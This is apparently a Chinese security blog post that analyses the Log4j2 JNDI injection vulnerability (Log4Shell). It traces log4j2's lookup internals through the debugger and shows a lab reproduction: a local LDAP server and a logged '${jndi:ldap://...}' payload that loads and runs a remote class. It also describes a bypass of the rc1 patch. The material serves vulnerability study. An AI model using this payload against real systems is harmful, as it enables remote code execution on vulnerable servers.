Log4j2漏洞分析
2024-08-09 18:24:34

复习完 JNDI 之后想专门过来学一下 log4j

demo 实现与具体组件分析

0x01 环境搭建

在分析漏洞之前 ,log4j 的具体工作流程和组成很有必要去了解和熟悉
先把测试环境搭建好
依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>test</scope>
</dependency>

log4j 的配置和其他很多组件很像,都是通过获取一个配置文件中的内容来进行具体配置的。这里我们用 xml 配置文件来写 log4j 的配置
通常分为两个部分:1.设置日志信息输出目的地 2.定义 logger,也就是定位我们需要打日志的包中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="TRACE">

<!-- 配置日志信息输出目的地 Appenders-->
<Appenders>
<!-- 输出到控制台 -->
<Console name="Console" target="SYSTEM_OUT">
<!--配置日志信息的格式 -->
<PatternLayout
pattern="%d{HH:mm:ss} [%t] %-5level %logger{36} - %msg%n" />
"/>
</Console>

<!-- 输出到文件,其中有一个append属性,默认为true,即不清空该文件原来的信息,采用添加的方式,若设为false,则会先清空原来的信息,再添加 -->
<File name="MyFile" fileName="./logs/info.log" append="true">
<PatternLayout>
<!--配置日志信息的格式 -->
<pattern>%d{HH:mm:ss} [%t] %-5level %logger{36} - %msg%n</pattern>
</PatternLayout>
</File>

</Appenders>


<!-- 定义logger,只有定义了logger并引入了appender,appender才会有效 -->
<Loggers>
<!-- 将业务dao接口所在的包填写进去,并用在控制台和文件中输出 -->
<logger name="log4jtest" level="TRACE"
additivity="false">
<AppenderRef ref="Console" />
<AppenderRef ref="MyFile" />
</logger>

<Root level="info">
<AppenderRef ref="Console" />
<AppenderRef ref="MyFile" />
</Root>
</Loggers>
</Configuration>

然后写个测试类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.util.function.LongFunction;

public class log4jtest {
public static void main(String[] args) {

Logger logger = LogManager.getLogger();
logger.trace("trace level");
logger.debug("debug level");
logger.info("info level");
logger.warn("warn level");
logger.error("error level");
logger.fatal("fatal level");

}
}

运行一下就能打印出很多信息
image.png
然后在当前项目下应该会有一个 logs 文件夹,用来存放日志信息
image.png

0x02 log4j2 功能组件分析

1x01 日志记录/触发点—-AbstractLogger

通常情况下我们是使用LogManager.getLogger()方法来获取一个 logger 对象,然后通过调用 logger 对象的 debug/info/error/warn/fatal/trace/log 等方法记录日志等信息
在这些方法中,都会先使用org.apache.logging.log4j.spi.AbstractLogger#logIfEnabled的若干重载方法,根据当前配置文件中的配置信息中记录的日志等级,来判断是否需要输出 console 以及日志记录文件,log4j 中的日志记录等级默认如下: ALL < DEBUG < INFO < WARN < ERROR < FATAL < OFF ,然后默认输出的是 WARN/ERROR/FATAL 等级的日志信息,我们也可以在配置文件中修改配置日志输出等级:
image.png
具体是在设置 logger 的时候,我们指定它的 level 等级即可,比如我们上面环境实现的等级设置为 TRACE 等级
当然也可以用代码直接去配置

1
2
3
4
5
LoggerContext ctx          = (LoggerContext) LogManager.getContext(false);
Configuration config = ctx.getConfiguration();
LoggerConfig loggerConfig = config.getLoggerConfig(LogManager.ROOT_LOGGER_NAME);
loggerConfig.setLevel(Level.ALL);
ctx.updateLoggers();

logger 本身是一个接口,我们待会分析漏洞的入口就是它的一个抽象实现类 AbstractLogger 开始的,只要调用了 info,error,warn 等方法都可以被作为漏洞的触发点。不同点是配置的输出等级不同
image.png

1x02 消息格式化—-MessagePatternConverter

log4j2 采用org.apache.logging.log4j.core.pattern.MessagePatternConverter来对日志信息进行处理
image.png
先看一下初始化
在初始化MessagePatternConverter 过程中会从 Properties 和 options 获取配置来判断是否需要调用 lookups 功能
image.png

其中FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS的获取是通过工具类的 getBooleanProperty方法来获取的
image.png
image.png
他这里的默认值传进来是 false,然后在默认 options 为空的情况下,loadNoLookups方法运算出来为-1,所以Constants.FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS || noLookupsIdx >= 0运算出来为 false,noLookups的默认值就为 false,也就是 lookups 功能默认是开启的
继续看下面的方法
loadMessageRenderer方法通过 options 中的字符配置来获取相应的模板渲染器
image.png

format 方法有两段 if 判断的内容
image.png
第一段 if 判断的内容是先从 event 中获取到 message,然后判断 message 的类型是否为 StringBuilderFormattable,之后就是渲染的具体内容
第二段 if 判断的内容是重点,在一个正常请求的情况下:config 获取不为空,并且 noLookups 默认为 false 的情况下,标志着我们可以通过 lookups 功能来进行字符串解析
然后这里的解析功能的重点是在 config.getStrSubstitutor().replace(event, value)

1x03 字符替换—-StrSubstitutor

log4j2 中提供的 lookup 功能的字符替换的关键处理类就是StrSubstitutor,位于org.apache.logging.log4j.core.lookup.StrSubstitutor,现在来看它的具体内容
光是默认属性配置就需要重点注意,默认的PREFIX前缀是${ ,默认的后缀},默认赋值分隔符DEFAULT_VALUE_DELIMITER_STRING
image.png
StrSubstitutor 中的关键方法是substitute,也是整个 lookup 功能的核心,用来递归替换相应的字符
由于该方法的内容较多,这里我们只截取关键性内容
方法的开头先把各个前后缀以及内容的匹配器加载上
image.png
然后通过 while 循环来找前缀,这里找的前缀是最开始的前缀
image.png
找完前缀再找后缀,不过在找后缀的 while 循环中,又判断了是否替换变量中的值,如果替换,则再匹配一次前缀,如果找到了前缀,则 continue 跳出循环,再走一次找后缀的逻辑,比如说这个${${}}这种情况
image.png
后续的逻辑中,主要是针对DEFAULT_VALUE_DELIMITER_STRING以及ESCAPE_DELIMITER_STRING进行,通过多个 if/else 来匹配:-:\-
image.png
这里就不一一分析代码了,这里其实就是对两个标识符的功能的描述:

  • :- 是一个赋值关键字,如果程序处理到 ${aaaa:-bbbb} 这样的字符串,处理的结果将会是 bbbb:- 关键字将会被截取掉,而之前的字符串都会被舍弃掉。
  • :\- 是转义的 :-,如果一个用 a:b 表示的键值对的 key a 中包含:,则需要使用转义来配合处理,例如 ${aaa:\\-bbb:-ccc},代表 key 是aaa:bbb,value 是 ccc

在没有匹配到变量赋值或者匹配结束后,将会调用resolveVariable方法来解析满足 lookup 功能的语法,并执行相应的 lookup
image.png
我们跟进到 resolveVariable 方法
image.png
他这里会先获取到variableResolver,然后调用其 lookup 方法进行处理。实际上variableResolver是一个代理类Interpolator,之后再深入了解

分析这些内容,我相信此时应该能感受到StrSubstitutorsubstitute方法的重要性,它是直接解析 payload 的处理方法,通过在这里下断点/Hook 点,能够最直接的分析到 payload 的处理,以及日后的防御处理

1x04 lookup 处理—-Interpolator

刚才提到,variableResolver 实际上是一个代理类org.apache.logging.log4j.core.lookup.Interpolator,他来代理所有的 StrLookup 实现类,也就是说我们在调用 Lookup 的时候,都是由Interpolator处理和分发的
看一下默认结构
image.png
在 interpolator 的构造方法中,它创建了一个strLookupMap键值对表,对一些默认情况的 Lookup 查询进行了装载,这里的 JNDI-Lookup 查询是通过下面的 try catch 块实现的
image.png
再看最为关键的 lookup 方法具体的内容
image.png
它通过:作为表示符,用来分隔 Lookup 关键字和参数,从 strLookup 中根据分割出来的关键字匹配到相应的处理类,并调用其 Lookup 方法
log4j 的漏洞触发是通过jndi:关键字来触发 JNDI 注入漏洞的,jndi:关键字对应的处理类是org.apache.logging.log4j.core.lookup.JndiLookup,我们跟进查看具体它的 lookup 方法是如何被调用的
image.png
先是获取了 jndiManager,然后再调用 jndiManager 的 lookup 方法
我们先跟进查看jndiManager是如何被创建的
最终跟进到 AbstractManagergetManager 方法中,通过 JndiManagerFactory 来创建
image.png
不过这个 JndiManagerFactory 本身就是在 JndiManager 的子类中
image.png
具体看 createManager 的内容
image.png
实例化的的时候带着InitialContext 创建的,看到这个InitialContext就想到后续的一系列调用
而 JndiManager 的 lookup 调用方法就是直接调InitialContext,并且参数 name 是我们可以控制的
image.png
最终 sink 点也是在这

漏洞分析

0x01 漏洞复现

影响版本:2.x <= log4j <= 2.15.0-rc1
先把 Ldap 服务器本地开一下
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.Naming;

public class JNDI_LDAP_Server {
public static void main(String[] args) throws Exception{
InitialContext initialContext=new InitialContext();
Reference refObj=new Reference("RMIHello","RMIHello","http://localhost:8000/");
// ReferenceWrapper referenceWrapper=new ReferenceWrapper(refObj);
// Naming.bind("ldap://localhost:10389/cn=TestLdap,dc=example,dc=com",referenceWrapper);
initialContext.rebind("ldap://localhost:10389/cn=TestLdap,dc=example,dc=com",refObj);
System.out.println("LDAP服务器正在运行中");
}
}

恶意类的内容是 runtime 执行一个计算器
然后看 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.util.function.LongFunction;

public class log4j2exp {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(LongFunction.class);

String username = "${jndi:ldap://127.0.0.1:1234/ExportObject}";

logger.info("User {} login in!", username);
}
}

执行完毕
cb3cee868216a04b4ddae48e9d8fdb91.png

0x02 流程分析

调试前的心里准备:
首先我们要明确,log4j2 漏洞的触发点是在字符串处理阶段触发的,所以在流程调试前期的到日志打印的流程都是不需要跟进的,明确我们要首先跟进到 MessagePatternConverter 的字符转化 format 方法中,然后记住如果有分支已经要返回出去打印了就不需要跟进了

在 info 处打个断点
由于AbstractLogger 的日志功能方法有若干重载方法,以及各种数据处理,师傅们可以参考我的调用栈,避免不必要的时间浪费
image.png
最近的调用可以打在 PatternLayout 类的 toText 方法中
image.png
然后跟进到 toSerializable 中,到这就是熟悉的 format 方法了,但是还没到MessagePatternConverter类,所以还需要继续深入跟进
image.png
而且这里会有几次循环调用,并且由于信息类型不同,调用的Pattern 就不同,直到第八次循环(可能 exp 或者版本不同循环次数也不同?)
image.png
才是我们想要的 MessagePatternConverter 的 format 方法,跟进
image.png
这里 format 的内容就不讲了,直接到 Substitutor 的字符串处理逻辑即可
跟进到 replace 方法
image.png
这里获取了 StringBuilder 之后开始调用substitute
关于substitute的整体逻辑我们在StrSubstitutor 的详细功能分析中已经分析过了,这里直接到下一阶段的跟进点,也就是将字符串经过前后缀获取以及删减,最终在没有匹配到变量赋值或者匹配结束后resolveVariable方法来解析满足 lookup 功能的语法,并执行相应的 lookup 逻辑
这里流程循环较多,因为字符较多,他又会根据解析程度再次循环截取处理
image.png
师傅们可参考的我这边的进度来调
来到resolveVariable,继续跟进
image.png
之前也提到过variableResolver实际上是一个代理类 interpolator(StrLookup 键值对表中的所有功能的 lookup 功能都是通过它来代理),所以这里会直接调进Interpolator的 lookup
image.png
继续跟进,也是从 strLookupMap 中获取到 JndiLookup 之后开始调用其 lookup 了
image.png
继续跟进到JndiLookup 的 lookup
image.png
由于创建JndiManager 时自带构建 initialContext,并且这里的调用 JndiManager 的 lookup 就是调用 InitialContext 的 lookup,之后就是熟悉的 JNDI 注入的原始的流程了
image.png
基本流程 sink 分析结束
(师傅们如果在看我这篇文章学习的话可以先尝试把 log4j2 功能组件的分析先了解深一点,后续跟进调试会轻松很多)

高版本绕过分析

0x01 rc1 及绕过

1x01 安全更新点分析 1

在漏洞披露后,log4j2 官方发布了 log4j-2.15.0-rc1 安全更新包,经过师傅们进一步分析,在开启 lookup 配置后可以被绕过 (危害性较低,一般都不会再去开启 lookup 功能了)
回忆一下漏洞之初的样子,我们在MessagePatternConverter 中是默认开启了 lookup 选项的,但是从 rc1 之后,它的源码如下:
image.png
然后再看看之前的构造方法

构造方法中赋值的操作被拆分了,并且多了很多子类,将之前的功能模块化了
image.png
也就是说在 newInstance 实例化方法中,他会根据判断条件来选择返回出哪一个 Converter,假如说我们还想跟进到之前的流程就必须要走到LookupMessagePatternConverter子类中
image.png
LookupMessagePatternConverter返回的条件是 lookups && config != null,lookups 的获取就是新增的安全更新点,不再提供从 properties 中获取 lookups 配置的选项,而是直接从 loadLookups 方法中获取
image.png
这里 LOOKUPS 值为”lookups”字符串,options 默认为空,那么也就进不去 if 判断,默认 return false,lookup 功能默认不开启
image.png

1x02 安全更新点 2

还有一个最直接的就是在 jndiManager 的 lookup 方法上,以及jndiManager 的创建上
具体内容如下:
image.png
不再使用 InitialContext,而是使用子类 InitialDirContext,并为其添加白名单 JNDI 协议、白名单主机名、白名单类名 ,其中 permanentAllowedHosts 是本地 IP,permanentAllowedClasses 是八大基础数据类型加 Character,permanentAllowedProtocols 包含 java/ldap/ldaps。
关键函数 lookup 上也加了限制,不过在某些版本上 catch 块中没有 return,逻辑判断失误,之后依然可以调 context 的 lookup,所以只要想办法直接走到 catch 块中即可
1639332979607.png
不过我们这边更新的版本没有。。。。
image.png
所以这里就复现不出来,其实这里的区别就是 rc1 和 rc2 的区别了,之后的版本由于默认 lookup 功能被关闭了,甚至直接移除了日志对 lookup 功能的支持,所以研究的价值不大了

个人总结

这次的学习并不涉及 payload 绕过等操作,比如关键字截取,嵌套,带外等操作,感兴趣的师傅可以去
https://su18.org/post/log4j2/#%E5%89%8D%E8%A8%80 su18 师傅的博客
https://drun1baby.top/2022/08/09/Log4j2%E5%A4%8D%E7%8E%B0/#Log4j2-%E5%A4%8D%E7%8E%B0 drunkbaby 师傅的博客

log4j 分析暂告一段落了,从 JNDI 的复习开始,有了一种新的感觉,新的学习的感觉,之前听队里的师傅说之前的漏洞调流程的时候要能够自己调出来,我并没有将这个事在自己心里强度,只是默认自己该这么做,也觉得自己现在可以有这样的能力,但还是缺少很多感觉,要走的路还有很长